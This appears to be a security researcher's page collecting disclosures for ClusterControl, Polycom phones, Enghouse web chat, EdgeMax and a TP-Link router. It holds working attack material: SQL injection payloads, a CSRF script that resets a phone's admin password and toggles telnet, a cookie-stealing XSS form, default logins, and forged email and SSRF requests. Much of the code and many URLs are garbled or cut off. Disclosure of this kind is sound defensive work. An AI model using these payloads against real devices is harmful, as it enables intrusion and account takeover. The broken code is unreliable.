Vulnerability Disclosure: Clustercontrol

Product:                          ClusterControl
Manufacturer:               Severalnines (
Version:                          Controller:, Frontend:
Vulnerability Type:        Improper Authorization, Authenticated SQL Injection
Manufacturer Notification:  8/9/2021
CVE Reference:              TBD
Author of Advisory:       Matt Landers,

Product Overview:
The ClusterControl Community Edition is a free-to-use, all-in-one database management system that allows you to deploy and monitor the top open source database technologies like MySQL, MariaDB, Percona, MongoDB, PostgreSQL, Galera Cluster and more.

Vulnerability Details:
An authenticated SQL injection was detected within the “hostname” and “sender” parameters of the below request.  
Using the default configuration there are two levels of authentication available in the web ui, ‘admins’ and ‘users’.  The Post request below is supposed to only be available to the ‘admins’ level accounts.  However, when we replace the ‘admins’ cookies in the request with a ‘users’ cookies it still completes the request and the subsequent sql injection.
This allows a lower-level user to perform a sql injection through the web ui and elevate privileges by accessing all databases, etc.

I would like to congratulate Severalnines on their stellar time to fix with this issue.

Example Request:

POST /clustercontrol/access2/settings?clusterid=0&operation=set_mailserver HTTP/1.1
Host: x.x.x.x
Content-Length: 133
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://x.x.x.x
Referer: http://x.x.x.x/clustercontrol/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=GA1.1.16598096.1628429909; _gid=GA1.1.2049508896.1628429909; PHPSESSID=redactednumbersletters; CakeCookie[expire]=August%2010%2C2021%2008%3A12%3A24; CakeCookie[clone_cluster_check]=N; CakeCookie[ping_home]=Y; _gat=1
Connection: close
{“smtp_server”:{“hostname”:”testhostname”,”password”:” testpassword “,”port”:356,”sender”:””,”use_tls”:false,”username”:”testuser”}}

SQL Injection POC:
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind – WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)
    Payload: {“smtp_server”:{“hostname”:”132222′ AND ELT(4360=4360,1371) AND ‘nJWW’=’nJWW“,”password”:”testpassword”,”port”:356,”sender”:””,”use_tls”:false,”username”:”testuser”}}

    Type: error-based
    Title: MySQL >= 5.6 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: {“smtp_server”:{“hostname”:”132222′ AND GTID_SUBSET(CONCAT(0x7171707171,(SELECT (ELT(8091=8091,1))),0x71766a6a71),8091) AND ‘vlLg’=’vlLg“,”password”:” testpassword “,”port”:356,”sender”:””,”use_tls”:false,”username”:”testuser”}}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {“smtp_server”:{“hostname”:”132222′ AND (SELECT 3557 FROM (SELECT(SLEEP(5)))paGr) AND ‘HCFD’=’HCFD“,”password”:” testpassword “,”port”:356,”sender”:””,”use_tls”:false,”username”:”testuser”}}


Disclosure Timeline:

  • 08-08-2021: Vulnerability discovered
  • 08-09-2021: Vulnerability reported to manufacturer
  • 08-15-2021: Patch released by manufacturer
  • 08-16-2021: Public disclosure of vulnerability




Poly(com) VVX, Soundstation IP 5000, SoundPoint IP 335 Vulnerabilities

Phone Model VVX 311
Part Number 3111-48350-001 Rev:A
MAC Address X
IP Mode IPv4
IP Address X
UC Software Version
Updater Version

This gui seems to be similar or the same to the soundpoint, Most Post requests seem vulnerable to csrf.  I can just take out the cookie login/pass that is in each request and craft a csrf.  For example the following is a csrf example that changes the admin password and turns on telnet.  This works for the VVX model however the same csrf did not work for the soundstation and soundpoint.

  <!-- Polycom VVX CSRF - Changes Admin pass to 123456. Also turns telnet on, login Polycom/123456 -->
  <script>history.pushState('', '', '/')</script>
      function submitRequest()
        var xhr = new XMLHttpRequest();"POST", "https:\/\/\/form-submit\/Utilities\/configuration\/importFile", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------402251386101268401375671906");
        xhr.withCredentials = true;
        var body = "-----------------------------402251386101268401375671906\r\n" + 
          "Content-Disposition: form-data; name=\"myfile\"; filename=\"polycomtelnet.cfg\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3cdevice device.set=\"1\"\x3e\n" + 
          "\x3cauth device.auth.localAdminPassword.set=\"1\" device.auth.localAdminPassword=\"123456\"/\x3e\n" + 
          "\x3ctelnet diags.telnetd.enabled=\"0\"\x3e\x3c/telnet\x3e\n" + 
          "\r\n" + 
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />

This sends a file called polycomtelnet.cfg which basically looks like this.

<device device.set="1">
<auth device.auth.
<telnet diags.telnetd.enabled="0"></

Phone Model SoundStation IP 5000 & SoundPoint IP 335 (same firmware)
Part Number 3111-30900-001 Rev:H
MAC Address X
IP Address X
UC Software Version
BootROM Software Version

This is a Post Xss via csrf that both the newest firmware of soundstation and soundpoint are vulnerable to.  Given the simple Cookie: Authorization= having cookies exposed can make this easy to convert from base64.

  <!-- Post XSS via CSRF on Soundstation IP 5000 & SoundPoint IP 335 UC ver  -->
  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="250:1" value=""><Script>alert(document.cookie)</Script>" />
      <input type="submit" value="Submit request" />

Most of these devices come with default logins: user/123 admin/456 . However if the company setting these up has changed them these csrf vulnerabilities could be useful.

Multiple vulnerabilities found in Enghouse/Zeacom web chat

Product: Web Chat versions 6.1.300.31, and possibly others
Researcher: Matt Landers –

Issue 1: Cross Site Scripting (XSS)

versions 6.1.300.31, and possibly others


The “QueueName=” function shown in the Get request below allows for insertion of user supplied javascript. An example of the cross site scripting payload is shown below in a screenshot.

Proof of Concept:
 Copy and paste the following payload in to your web browser, edit the request to insert
 the name of the domain you would like to test.

Issue 2: Email tampering
Version 6.1.300.31


A user of the web chat software is allowed to send an archive of their chat log to an email address specified at the beginning of the chat where the user enters in their name and email. This Post request can be modified to change the message as well as the end recipient of the message as seen below.

The email will have the same domain name and user as the web chat is allotted. This can be used in phishing campaigns against users on the same domain.

Proof of Concept:
 POST /WebChat/Chat.asmx/EmailTranscript HTTP/1.1
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101
 Accept: /
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 217
 Connection: close
& on this link for your refund!

Issue 3: Server Side Request Forgery / Remote File Include

Version 6.1.300.31 is vulnerable to server side request forgery


In this instance, any post request we are able to replace the port number (8088) with a range of ports to determine what is visible on the internal network as opposed to what general web traffic would see on the web chat host.

The response from open ports is different than closed ports as shown in the following screen shot. The web chat software does not allow us to change protocol so anything besides http(s) will throw an error, however it is the type of error that we are seeing in the following screen shots that allows us to determine if a port is open or not.

 Proof of Concept:
 POST /WebChat/General.asmx/DeleteDataPushFilter?UserSessionID=
 &filterName=WebChatTracker HTTP/1.1
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101
 Accept: /
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 43
 Connection: close

Version is vulnerable to remote file include


I have included this as part of Issue 3 as I believe they are related.
Specifically with this version of the web chat software we were able to replace the localhost attribute with our own domain name. When the web chat server calls our domain after the Post request is sent, it retrieves our data and displays it.

Also worth mentioning is the amount of information sent in the request from the web chat server, to ours, reveals information the public should not have. This includes path names and internal ip addresses. See the screen shot below for examples.

Resource Consumption DOS on Edgemax v1.10.6

Resource consumption Denial of service. This was reported last year and has been fixed as of version 2.0.3 . It has been assigned CVE-2019-16889.

1: The request below shows that when you feed the cookie variable a payload of 250 characters or more, the web management portal will produce an error page showing full path disclosure and more as shown in screenshots error1.png and error2.png.

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0



2: When providing a valid length payload of 249 characters or less it will be stored as a *.cache filename in the /var/run/beaker/container_file/ directory,this can easily be turned in to a denial of service by filling up the space of the device with unique requests. The web portal will display either a 500 error as shown here


or a python error screen as shown here.



Typically the web portal will stop functioning after the /run mount has reached 50% by sending requests using iterations of 1-15681 as a variable, however any length of payload can be used up to 249 characters. This can be recovered from by deleting all files within the /var/run/beaker/container_file/ directory.

Although once the /run mount can not accept any more files /var/log will start to fill up with complaints about not being able to write to /var/run/beaker/container_file/, then after /var/log fills up the device will stop responding all together until it has been power cycled.

3: This process can take upwards of 20 minutes, so it is a slow denial of service.


Any resources served by the edgemax device will be unavailable until the physical device has it’s power cycled, then it should function as normal. However it would be easy to just perform the attack again after it has been brought back online.

TPLink tl-wr802n Auth bypass

The TPLink tl-wr802n version 4.0 is vulnerable to authentication bypass via altering the referrer attribute.

I did not realize that this vulnerability had been previously disclosed except that the model mentioned above was not included or known about in the initial report.  I am linking to securelayer7’s finding first so that you can read it.

I really wanted to like this device but I couldn’t make myself use it in a public setting.  That being said tplink was very fast in providing a beta firmware for me to try which fixed the issue with this specific model.

As this vulnerability has been covered in depth, I will just provide the request screenshots of the Authenticated, Unauthenticated, and Bypass in Burp.





Next all that is required is to add the Referer: to the request and you will be allowed access to most functions, again check securelayer7’s post about this as it has been tested in depth.